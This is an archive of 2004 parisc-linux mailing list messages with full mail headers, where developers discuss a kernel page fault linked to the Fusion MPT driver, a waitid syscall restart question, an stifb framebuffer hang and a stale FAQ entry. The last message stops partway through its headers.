	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07042-08; Mon, 27 Sep 2004 10:48:46 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 546D93BE53; Mon, 27 Sep 2004 10:48:24 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C9DB03BE50
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Sep 2004 10:48:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 07042-04 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Sep 2004 10:48:18 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 882FE3BE49
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Sep 2004 10:48:18 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id A69A9298112; Mon, 27 Sep 2004 10:48:17 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28503-02; Mon, 27 Sep 2004 10:48:17 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 13439298111; Mon, 27 Sep 2004 10:48:17 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20040927112644.GO16153@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22046

On Mon, Sep 27, 2004 at 12:26:44PM +0100, Matthew Wilcox wrote:
> http://www.parisc-linux.org/faq/index.html#support64bit

I just noticed this FAQ is stale. Earlier this year rbrad
fixed PDC support so 32-bit PDC autodetected when running
a 64-bit. I'm fixing the FAQ to reflect this.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] BUG 2.6.9-rc2-pa9 data page fault in free_block()
Date: Mon, 27 Sep 2004 11:50:08 -0600
Lines: 38
Approved: news@gmane.org
Message-ID: <20040927175008.GE27091@colo.lackof.org>
References: <20040927053355.GB12024@colo.lackof.org>
	<20040927113415.GP16153@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623575 11218 80.91.229.3 (22 Nov 2014 02:32:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 4417 invoked by uid 65534); 27 Sep 2004 17:50:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx024) with SMTP; 27 Sep 2004 19:50:45 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 68D4E3BE47; Mon, 27 Sep 2004 11:50:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07896-03; Mon, 27 Sep 2004 11:50:33 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E33AF3BE52; Mon, 27 Sep 2004 11:50:16 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A4DB23BE49
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Sep 2004 11:50:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 07590-10 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Sep 2004 11:50:10 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 3CC1F3BE47
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Sep 2004 11:50:10 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 698EE298111; Mon, 27 Sep 2004 11:50:09 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29521-03; Mon, 27 Sep 2004 11:50:08 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id AD0AB298110; Mon, 27 Sep 2004 11:50:08 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20040927113415.GP16153@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22047

On Mon, Sep 27, 2004 at 12:34:15PM +0100, Matthew Wilcox wrote:
> It's worth turning on Debug memory allocations (DEBUG_SLAB).  That should
> catch this problem earlier.

It changes the problem only slightly...last output is now:

Initializing: /etc/network/ifstate.
Starting hotplug subsystem:
   input   
   input    [success]
   isapnp  
   isapnp   [success]
   net     
   net      [success]
   pci     
     tulip: already loaded
Fusion MPT base driver 3.01.16
Copyright (c) 1999-2004 LSI Logic Corporation
mptbase: Initiating ioc0 bringup
ioc0: 53C1030: Capabilities={Initiator}
mptbase: Initiating ioc1 bringup
ioc1: 53C1030: Capabilities={Initiator}
mptbase: Initiating ioc1 recovery
<end of output>

And I lost the chassis code that gets logged.
I also wonder why we aren't getting HPMC or panic
output from the kernel. :^/

In any case, I'm pretty sure fusion driver is fubarred.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] BUG 2.6.9-rc2-pa9 data page fault in free_block()
Date: Mon, 27 Sep 2004 12:34:15 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <20040927113415.GP16153@parcelfarce.linux.theplanet.co.uk>
References: <20040927053355.GB12024@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623575 11220 80.91.229.3 (22 Nov 2014 02:32:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 20506 invoked by uid 65534); 27 Sep 2004 11:34:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx003) with SMTP; 27 Sep 2004 13:34:33 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A9EF13BE47; Mon, 27 Sep 2004 05:34:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04104-09; Mon, 27 Sep 2004 05:34:31 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 979043BE52; Mon, 27 Sep 2004 05:34:21 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 828FA3BE49
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Sep 2004 05:34:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 04097-04 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Sep 2004 05:34:17 -0600 (MDT)
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id AB92E3BE47
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Sep 2004 05:34:16 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1CBtln-0006qp-QC; Mon, 27 Sep 2004 12:34:15 +0100
Content-Disposition: inline
In-Reply-To: <20040927053355.GB12024@colo.lackof.org>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22048

On Sun, Sep 26, 2004 at 11:33:55PM -0600, Grant Grundler wrote:
> Kernel Fault: Code=15 regs=000000001479c560 (Addr=00000001ffe3b618)
> ...
>  IAOQ[0]: free_block+0xa8/0x1a0
>  IAOQ[1]: free_block+0xac/0x1a0
>  RP(r2): drain_array_locked+0xe4/0x118
> 
> Full console output appended.
> 
> Oh...I just noticed that's right after/while fusion driver initialized.
> I couldn't get that work reliably on c3000 with 2.6.8.1 either.
> So that's my first suspect. :^(

It's worth turning on Debug memory allocations (DEBUG_SLAB).  That should
catch this problem earlier.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ptrace, and interrupted syscall.
Date: Mon, 27 Sep 2004 23:11:16 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <20040928031116.GE27033@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623575 11222 80.91.229.3 (22 Nov 2014 02:32:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:55 +0000 (UTC)
Cc: Randolph Chung <tausq@debian.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 14644 invoked by uid 65534); 28 Sep 2004 03:11:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx021) with SMTP; 28 Sep 2004 05:11:42 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 57DAC3BE50; Mon, 27 Sep 2004 21:11:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13229-04; Mon, 27 Sep 2004 21:11:39 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1BABC3BE5A; Mon, 27 Sep 2004 21:11:26 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 42B733BE50
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Sep 2004 21:11:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 12805-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Sep 2004 21:11:21 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id EC8913BE47
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Sep 2004 21:11:20 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1CC8Ob-0003QH-00; Mon, 27 Sep 2004 23:11:17 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (50% Sync Ratio [=====.....])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22049


pa,

rt_sigreturn(0x404dbee0)                = -1 EINTR (Interrupted system call)
write(1, "waitid(0x1, 0x54a, 0xbff00b50, 0"..., 36waitid(0x1, 0x54a, 0xbff00b50, 0xd)) = 36
SYS_235(0x1, 0x54a, 0xbff00b50, 0xd, 0x40435c18) = -1 EFAULT (Bad address)

Any clue why the syscall restart has 5 options where the syscall itself
has only 4 parameters?

Above you see SYS_235, which is the # for the waitid. The EFAULT is
probably a mistake on my part. I'm just curious about that random 5th
parameter?

c.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] No 2.6 kernel on 735/125 with CRX24?
Date: Sat, 2 Oct 2004 23:03:35 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <20041002220334.GA24389@ntlworld.com>
References: <200409241533.15399.j.raspe@t-online.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623576 11227 80.91.229.3 (22 Nov 2014 02:32:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 30117 invoked by uid 65534); 2 Oct 2004 22:04:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx041) with SMTP; 03 Oct 2004 00:04:05 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 646263BDF8; Sat,  2 Oct 2004 16:03:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15729-02; Sat, 2 Oct 2004 16:03:53 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D929E3BE34; Sat,  2 Oct 2004 16:03:28 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BC7923BDF8
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  2 Oct 2004 16:03:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 15483-06 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 2 Oct 2004 16:03:22 -0600 (MDT)
Original-Received: from mta03-svc.ntlworld.com (mta03-svc.ntlworld.com [62.253.162.43])
	by free.linux.hp.com (Postfix) with ESMTP id AD9A23BDDB
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  2 Oct 2004 16:03:21 -0600 (MDT)
Original-Received: from janus ([82.9.45.179]) by mta03-svc.ntlworld.com
	(InterMail vM.4.01.03.37 201-229-121-137-20020806) with ESMTP
	id <20041002220140.GKXU5777.mta03-svc.ntlworld.com@janus>;
	Sat, 2 Oct 2004 23:01:40 +0100
Original-Received: from sdb by janus with local (Exim 3.35 #1 (Debian))
	id 1CDrya-0006M2-00; Sat, 02 Oct 2004 23:03:36 +0100
Mail-Followup-To: parisc-linux@lists.parisc-linux.org,
	Johannes Raspe <j.raspe@t-online.de>
Content-Disposition: inline
In-Reply-To: <200409241533.15399.j.raspe@t-online.de>
User-Agent: Mutt/1.3.28i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22050

On Fri, Sep 24, 2004 at 03:33:15PM +0200, Johannes Raspe wrote:
> I tried the "official" 2.6.8 Debian-image and 2.6.8.1-pa11-image but none 
> worked.
> After booting, the message "if this is the last..." about graphic and 
> serial-console is printed and after that (I suppose when the kernel tries to 
> initialize the framebuffer) the screen turns blue, no HDD-activity anymore, 
> the system hangs.
> As far as I can see no other messages.
> With 2.4.27-pa4 everything is fine.

[snip]

I have no idea how stifb works, but perhaps this is the same problem:

http://lists.parisc-linux.org/pipermail/parisc-linux/2004-March/022600.html

Does passing "stifb=bpp:8" on the palo command-line make any difference?
Perhaps the 32 bpp code is broken?  I can't find any other dmesgs posted
to the list with stifb using 32 bpp...
-- 
Stuart Brady
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: j.raspe@t-online.de (Johannes Raspe)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] No 2.6 kernel on 735/125 with CRX24?
Date: Sun, 3 Oct 2004 13:51:43 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <200410031351.43650.j.raspe@t-online.de>
References: <200409241533.15399.j.raspe@t-online.de>
	<20041002220334.GA24389@ntlworld.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623576 11231 80.91.229.3 (22 Nov 2014 02:32:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stuart Brady <sdbrady@ntlworld.com>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 9093 invoked by uid 65534); 3 Oct 2004 11:52:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx055) with SMTP; 03 Oct 2004 13:52:50 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 07D0C3BDD6; Sun,  3 Oct 2004 05:52:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21958-05; Sun, 3 Oct 2004 05:52:37 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A94ED3BDE6; Sun,  3 Oct 2004 05:52:08 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 592583BDD6
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Oct 2004 05:52:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 21314-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Oct 2004 05:52:04 -0600 (MDT)
Original-Received: from mailout02.sul.t-online.com (mailout02.sul.t-online.com
	[194.25.134.17])
	by free.linux.hp.com (Postfix) with ESMTP id CF7083BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Oct 2004 05:52:03 -0600 (MDT)
Original-Received: from fwd06.aul.t-online.de by mailout02.sul.t-online.com with smtp 
	id 1CE4uH-0000jI-03; Sun, 03 Oct 2004 13:52:01 +0200
Original-Received: from ZEUS.lan.pc
	(X7kbtkZBgekVHxOaKDjEITgguRXsPngaEr6dcT3rqqSVIxsqWVG-ce@[217.80.119.66])
	by fwd06.sul.t-online.com
	with esmtp id 1CE4u1-1uKWqe0; Sun, 3 Oct 2004 13:51:45 +0200
User-Agent: KMail/1.7
In-Reply-To: <20041002220334.GA24389@ntlworld.com>
Content-Disposition: inline
X-ID: X7kbtkZBgekVHxOaKDjEITgguRXsPngaEr6dcT3rqqSVIxsqWVG-ce
X-TOI-MSGID: cf910fd7-fee4-4b5f-96e5-da9d363d5a81
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
